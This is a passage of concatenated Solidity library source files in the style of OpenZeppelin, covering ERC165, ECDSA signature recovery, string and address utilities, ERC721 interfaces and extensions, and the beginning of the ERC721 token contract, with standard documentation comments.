* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
/**
* @dev ERC721 token with storage based token URI management.
*/
abstract contract ERC721URIStorage is ERC721 {
using Strings for uint256;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
